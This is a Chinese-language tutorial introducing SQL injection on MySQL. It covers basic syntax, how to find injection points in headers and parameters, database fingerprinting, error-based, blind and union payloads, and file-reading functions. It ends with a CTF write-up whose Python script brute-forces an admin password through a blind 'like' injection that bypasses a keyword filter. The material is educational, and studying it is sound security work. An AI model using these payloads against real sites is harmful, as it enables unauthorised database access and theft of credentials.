SQL注入入门

你也喜欢SQL注入吗?(MySQL为例

MySQL语句

登录

本地

1
2
mysql -u username -p
password

远程

1
2
mysql -h ip -p port -u username -p
password

1
2
3
4
5
6
7
8
9
10
11
-- 创建数据库
CREATE DATABASE 数据库名;

-- 删除数据库
drop database 数据库名;

-- 查看数据库
show databases;

-- 选择数据库
use 数据库名;

数据类型

数值类型

类型大小范围(有符号)范围(无符号)用途
TINYINT1 Bytes(-128,127)(0,255)小整数值
SMALLINT2 Bytes(-32 768,32 767)(0,65 535)大整数值
MEDIUMINT3 Bytes(-8 388 608,8 388 607)(0,16 777 215)大整数值
INT或INTEGER4 Bytes(-2 147 483 648,2 147 483 647)(0,4 294 967 295)大整数值
BIGINT8 Bytes(-9,223,372,036,854,775,808,9 223 372 036 854 775 807)(0,18 446 744 073 709 551 615)极大整数值
FLOAT4 Bytes(-3.402 823 466 E+38,-1.175 494 351 E-38),0,(1.175 494 351 E-38,3.402 823 466 351 E+38)0,(1.175 494 351 E-38,3.402 823 466 E+38)单精度 浮点数值
DOUBLE8 Bytes(-1.797 693 134 862 315 7 E+308,-2.225 073 858 507 201 4 E-308),0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308)0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308)双精度 浮点数值
DECIMAL对DECIMAL(M,D) ,如果M>D,为M+2否则为D+2依赖于M和D的值依赖于M和D的值小数值

日期和时间类型

类型大小 ( bytes)范围格式用途
DATE31000-01-01/9999-12-31YYYY-MM-DD日期值
TIME3‘-838:59:59’/‘838:59:59’HH:MM:SS时间值或持续时间
YEAR11901/2155YYYY年份值
DATETIME8‘1000-01-01 00:00:00’ 到 ‘9999-12-31 23:59:59’YYYY-MM-DD hh:mm:ss混合日期和时间值
TIMESTAMP4‘1970-01-01 00:00:01’ UTC 到 ‘2038-01-19 03:14:07’ UTC 结束时间是第 2147483647 秒,北京时间 2038-1-19 11:14:07,格林尼治时间 2038年1月19日 凌晨 03:14:07YYYY-MM-DD hh:mm:ss混合日期和时间值,时间戳

字符串类型

类型大小用途
CHAR0-255 bytes定长字符串
VARCHAR0-65535 bytes变长字符串
TINYBLOB0-255 bytes不超过 255 个字符的二进制字符串
TINYTEXT0-255 bytes短文本字符串
BLOB0-65 535 bytes二进制形式的长文本数据
TEXT0-65 535 bytes长文本数据
MEDIUMBLOB0-16 777 215 bytes二进制形式的中等长度文本数据
MEDIUMTEXT0-16 777 215 bytes中等长度文本数据
LONGBLOB0-4 294 967 295 bytes二进制形式的极大文本数据
LONGTEXT0-4 294 967 295 bytes极大文本数据

注意:char(n) 和 varchar(n) 中括号中 n 代表字符的个数,并不代表字节个数,比如 CHAR(30) 就可以存储 30 个字符。

CHAR 和 VARCHAR 类型类似,但它们保存和检索的方式不同。它们的最大长度和是否尾部空格被保留等方面也不同。在存储或检索过程中不进行大小写转换。

BINARY 和 VARBINARY 类似于 CHAR 和 VARCHAR,不同的是它们包含二进制字符串而不要非二进制字符串。也就是说,它们包含字节字符串而不是字符字符串。这说明它们没有字符集,并且排序和比较基于列值字节的数值值。

BLOB 是一个二进制大对象,可以容纳可变数量的数据。有 4 种 BLOB 类型:TINYBLOB、BLOB、MEDIUMBLOB 和 LONGBLOB。它们区别在于可容纳存储范围不同。

有 4 种 TEXT 类型:TINYTEXT、TEXT、MEDIUMTEXT 和 LONGTEXT。对应的这 4 种 BLOB 类型,可存储的最大长度不同,可根据实际情况选择。

1
2
3
4
5
6
7
8
9
10
11
-- 创建数据表
CREATE TABLE table_name (column_name column_type);

--删除数据表
DROP TABLE table_name ;

-- 读取数据表
select * from table_name;

-- 查看数据表
show tables;

数据处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
-- 插入数据
INSERT INTO table_name (field1, field2,...fieldN) VALUES (value1, value2,...valueN );
INSERT INTO table_name (field1, field2,...fieldN) VALUES (valueA1,valueA2,...valueAN),(valueB1,valueB2,...valueBN),(valueC1,valueC2,...valueCN);

-- 查询数据
SELECT column_name,column_name FROM table_name [WHERE Clause] [LIMIT N][ OFFSET M]

-- 修改数据
UPDATE table_name SET field1=new-value1, field2=new-value2 [WHERE Clause]

-- 删除数据
DELETE FROM table_name [WHERE Clause]

-- union操作符
SELECT expression1, expression2, ... expression_n FROM tables [WHERE conditions] UNION [ALL | DISTINCT] SELECT expression1, expression2, ... expression_n FROM tables [WHERE conditions];

-- 数据排序
SELECT field1, field2,...fieldN FROM table_name1, table_name2... ORDER BY field1 [ASC [DESC][默认 ASC]], [field2...] [ASC [DESC][默认 ASC]]

-- 数据分组
SELECT column_name, function(column_name) FROM table_name WHERE column_name operator value GROUP BY column_name;

在使用上述语句时,以下是一些需要注意的事项:

  1. 插入数据:

    • 确保插入语句中的字段和值的数量匹配,并按照正确的顺序提供值。
    • 如果某些字段允许为空,可以使用NULL值来表示。
  2. 查询数据:

    • 在SELECT语句中指定要检索的列名,可以使用通配符(*)来选择所有列。
    • 使用WHERE子句来过滤结果集,根据条件检索特定的行。
    • 可选地使用LIMIT子句来限制返回的行数,并使用OFFSET子句来指定起始位置。
  3. 修改数据:

    • 使用UPDATE语句时,确保指定要更新的表名和列名。
    • 使用WHERE子句来指定要更新的特定行,否则将更新所有行。
  4. 删除数据:

    • 使用DELETE语句时,确保指定要删除的表名。
    • 使用WHERE子句来指定要删除的特定行,否则将删除所有行。
  5. UNION操作符:

    • UNION操作符用于合并两个或多个SELECT语句的结果集。
    • 可选择使用ALL关键字来包含重复行,或使用DISTINCT关键字来排除重复行。
  6. 数据排序:

    • 使用ORDER BY子句按照指定的字段对结果进行排序。
    • 可以指定多个字段,以定义排序的优先级。
    • 默认情况下,按照升序(ASC)排序,可以使用DESC关键字进行降序排序。
  7. 数据分组:

    • 使用GROUP BY子句按照指定的列对结果进行分组。
    • 可以在SELECT列表中使用聚合函数对每个组进行计算。
    • 可以使用WHERE子句过滤分组前的数据。

判断注入点

在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点。

sql注入点类型

  1. get注入
    在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。

  2. post注入
    通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。

  3. 有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。

  4. Referer注入
    Referer正确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,同样也可以得到想要的信息。

  5. XFF注入
    在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9’ ,用户在注册的时候,如果存在安全隐患,会出现错误页面或者报错。从而导致注册或者登录用户失败。
    burpsuite 抓包,提交输入检测语句:

    1
    2
    X-Forwarded-for: 127.0.0.1'and 1=1#
    X-Forwarded-for: 127.0.0.1'and 1=2#

    两次提交返回不一样,存在 SQL 注入漏洞

  6. UA注入

    输入点在User-Agent

判断数据库类型

判断网站使用的是哪个数据库,常见数据库如:
MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等

在实际测试过程中尝试进行SQL注入第一步就是判断数据库类型,因为我们不容易知道对方使用的是什么数据库。
目前来说,企业使用MSSQL即SQLserver的数量最多,MySQL其次,Oracle再次。除此之外的几个常见数据库如 Access、PostgreSQL、db2则要少的多的多。
常用SQL注入判断数据库方法
● 使用数据库特有的函数来判断
● 使用数据库专属符号来判断,如注释符号、多语句查询符等等
● 报错信息判断
● 数据库特性判断

端口扫描

如果可以对主机进行端口扫描,可以根据是否开启对应端口,来大概判断数据库类型。
Oracle
默认端口号:1521
SQL Server
默认端口号:1433
MySQL
默认端口号:3306
PostgreSql
默认端口号:5432

网站类型与数据库的联系

asp:SQL Server,Access
.net :SQL Server
php:Mysql,PostgreSql
java:Oracle,Mysql

根据注释符判断

  • “#”是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’-- ',和/* */注释(注意mysql使用-- 时需要后面添加空格)
  • “null”和“%00”是Access支持的注释。
  • “--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。
  • “;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。

根据数据库特有表进行判断

1、mssql数据库

1
id=1 and (select count(*) from sysobjects)>0 and 1=1

2、access数据库

1
id=1 and (select count(*) from msysobjects)>0 and 1=1

3、mysql数据库(mysql版本在5.0以上)

1
id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1

4、oracle数据库

1
id=1 and (select count(*) from sys.user_tables)>0 and 1=1

开始测试注入

MySQL的默认库与表

默认库和表的内容如下:

  1. information_schema库:

    • TABLES表:提供了关于数据库中的表的信息,包括表名、表类型、表引擎、创建时间等
    • COLUMNS表:提供了表中的列信息,包括列名、数据类型、是否为主键等
    • STATISTICS表:提供了关于表索引的信息,包括索引名、索引类型、索引字段等
    • USER_PRIVILEGES表:给出了关于全局权限的信息,包括用户、权限等
    • SCHEMA_PRIVILEGES表:给出了关于数据库权限的信息,包括数据库、权限等
    • TABLE_PRIVILEGES表:给出了关于表权限的信息,包括表、权限等
    • COLUMN_PRIVILEGES表:给出了关于列权限的信息,包括表、列、权限等
  2. mysql库:

    • user表:记录了MySQL的用户信息和全局权限
    • db表:记录了数据库级别的权限信息
    • tables_priv表:记录了表级别的权限信息
    • columns_priv表:记录了列级别的权限信息
    • event表:用于事件调度
    • plugin表:记录了MySQL的插件信息
  3. performance_schema库:

    • tables表:提供了关于数据库中的表的信息,包括表名、表类型、表引擎、创建时间等
    • columns表:提供了表中的列信息,包括列名、数据类型、是否为主键等
    • events_waits表:提供了关于等待事件的信息,包括等待事件的类型、持续时间等
    • mutex_instances表:提供了关于互斥锁的信息,包括互斥锁的名称、等待次数等
    • file_instances表:提供了关于文件的信息,包括文件的名称、读写次数等
  4. sys库:

    • schema_table_statistics表:提供了关于数据库中表的统计信息,包括表的行数、大小等
    • schema_index_statistics表:提供了关于数据库中索引的统计信息,包括索引的大小、使用次数等
    • schema_table_lock_waits表:提供了关于表锁等待的信息,包括等待的表、等待时间等

看到上面的库与表,当我们注入之后就可以在其中看到数据库的基本信息,帮助我们进一步注入拿取危险信息。

SQL注入的种类

  1. 按照注入方法可以分为以下几类:

    基于报错的注入(Inband Error-based Injection):通过触发错误信息来获取数据,例如报错注入。这种注入方法是通过站点的响应或错误反馈来提取数据。

    使用报错注入方法

    1
    SELECT * FROM flag UNION SELECT updatexml(1, CONCAT('~', (SELECT name FROM flag LIMIT 0, 1), '~'), 3), '','';
    1
    SELECT * FROM flag union select extractvalue(null,concat('~',(select name from flag limit 0,1),'~')),'','';
    1
    SELECT * FROM flag UNION SELECT NULL, COUNT(*), CONCAT((SELECT name FROM flag LIMIT 0, 1), FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x;
  2. 基于布尔的盲注(Inference Blind Injection):通过观察Web应用的不同反应来推断数据,例如布尔盲注。这种注入方法是通过Web应用的其他改变来推断数据。

  3. 基于时间的盲注(Inference Time-based Injection):通过延迟响应时间来推断数据,例如时间盲注。这种注入方法是通过Web应用的响应时间来推断数据。

  4. 基于联合查询的注入(Inband Union-based Injection):通过联合查询将多个SELECT语句的结果合并到一个结果集中,例如联合注入。这种注入方法是通过合并多个查询结果来获取数据。

    注意:UNION操作要求两个SELECT语句返回的列数相同。

  5. 基于堆叠查询的注入(Inband Stacked Queries Injection):通过在一个查询中嵌入多个查询语句来执行恶意操作,例如堆叠注入。这种注入方法是通过在一个查询中执行多个查询语句来实现攻击。

  6. 基于报表的注入(Inband Inline Query Injection):通过在查询语句中插入恶意代码来执行攻击,例如报表注入。这种注入方法是通过在查询语句中插入恶意代码来执行攻击。

  7. 二次注入(Inband Second Order Injection):通过在应用程序中的第二个查询中注入恶意代码来执行攻击,例如二次注入。这种注入方法是通过在应用程序的第二个查询中注入恶意代码来实现攻击

MySQL基本hack函数

  • MID(str, start [, length]):从字符串 str 的指定位置开始,返回指定长度的子字符串。这可以用于提取敏感信息或绕过字符串过滤器。
  • LEFT(str, len):返回字符串 str 的最左边指定长度的字符。它可以用于截断字符串或绕过字符串过滤器。
  • ASCII(str):返回字符串 str 的第一个字符的 ASCII 码值。在某些情况下,可以用于判断字符值或绕过字符过滤器。
  • SUBSTR(str, pos, len):从字符串 str 的指定位置开始,截取指定长度的子字符串。它可以用于提取敏感信息或修改字符串的内容。
  • CAST(expr AS datatype):将表达式 expr 转换为指定的数据类型 datatype。这可以用于修改数据类型或绕过类型检查。
  • IFNULL(expr1, expr2):如果 expr1 不为 NULL,则返回 expr1;否则返回 expr2。它可以用于处理可能为空的值,或者在条件判断中绕过控制流程。
  • LOAD_FILE():读取本地文件。该函数可以用于读取服务器上的文件内容,可能导致敏感信息泄露或执行恶意代码。
  • @@datadir:读取数据库路径。它可以用于获取数据库文件存储位置的信息,可能有助于进一步的攻击。
  • @@basedir:MySQL安装路径。它可以用于获取MySQL的安装路径,可能有助于进一步的攻击。
  • @@version_compile_os:查看操作系统。它可以用于获取MySQL所在操作系统的信息,可能有助于进行特定的攻击。
  • LENGTH(str):返回给定字符串的长度。它可以用于确定字符串的长度,可能对绕过字符串长度限制或构造特定的字符串很有用。
  • CONCAT():将多个字符串连接在一起。通过对多个字符串进行连接,可以构造特定的查询语句或绕过字符串过滤器。
  • GROUP_CONCAT():将多个值连接在一起,并用指定的分隔符分隔。它可以用于将多个结果连接在一起,可能有助于提取敏感信息。
  • LIMIT:用于限制结果集的返回数量。通过指定偏移量和限制数量,可以逐步提取数据或绕过访问限制。

下面是使用这些函数进行字符判断的一些示例语句:

使用 LEFT() 函数获取数据库名称,并判断其第一个字符是否大于 ‘s’。

1
SELECT * FROM flag WHERE LEFT(DATABASE(), 1) > 's';

使用 SUBSTR() 函数截取信息模式下第一个表的表名,并将其第一个字符转换为 ASCII 值,然后判断是否等于 101。

1
SELECT * FROM flag WHERE ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT 0, 1), 1, 1)) = 101;

获取当前数据库名称,并将其第一个字符转换为 ASCII 值,然后判断是否等于 98。

1
SELECT * FROM flag WHERE ASCII(SUBSTR((SELECT DATABASE()), 1, 1)) = 98;

security.users 表中获取按 ID 排序的第一个用户名,将其转换为字符类型后,获取第一个字符的 ASCII 值,并判断是否大于 98。

1
SELECT * FROM flag WHERE ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 0, 1), 1, 1)) > 98;

使用 CONCAT() 函数将查询到的用户名连在一起,默认用逗号分隔:

1
SELECT CONCAT(name) FROM flag;

使用 CONCAT() 函数将字符串 str1str2 的数据连接在一起,中间用 ‘*’ 连接:

1
SELECT CONCAT(id, '*', name) FROM flag;

使用 GROUP_CONCAT() 函数将用户名数据查询在一起,用逗号连接:

1
SELECT GROUP_CONCAT(name) FROM flag;

使用 LIMIT 子句查询第一个结果:

1
SELECT * FROM flag LIMIT 0, 1;

使用 LOAD_FILE() 函数读取本地文件的内容:

1
SELECT LOAD_FILE('/path/to/file.txt');

使用 @@datadir 函数获取数据库路径:

1
SELECT @@datadir;

使用 @@basedir 函数获取MySQL安装路径:

1
SELECT @@basedir;

使用 @@version_compile_os 函数查看操作系统:

1
SELECT @@version_compile_os;

例题

[第五空间 2021]yet_another_mysql_injection

这里以 [第五空间 2021]yet_another_mysql_injection 为例

开题得到一个登录框

尝试admin登录

回显

修改账号之后告诉我们只有admin可以登录

那么猜测注入点在password

fuzz一下

ban了一些东西,先测试注入点

空格被过滤可以尝试以下的绕过方式

回车(%a0)、tab、注释(/**/)、括号(())、反引号(`)

等号被过滤了尝试like或者是<>

然后在/?source查看到了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>

关键代码

1
2
3
4
5
  if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}

只有密码正确才输出flag,有两种回显

那么我们尝试爆密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url = "http://node4.anna.nssctf.cn:28234/index.php"
alp="0123456789qwertyuioplkjhgfdsaazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM~"
result = ""
while(True):
for i in alp:
data = {
"username":"admin",
"password": f"1'/**/or/**/password/**/like/**/'{result+i}%'#"
}
print(f"1'/**/or/**/password/**/like/**/'{result+i}%'#")
res = requests.post(url, data=data)
if "wrong password" in res.text:
result += i
print(result)

密码eb2d018ac00e7d6dbE8eb7059dF0a4b2

得到flag

或者?quine注入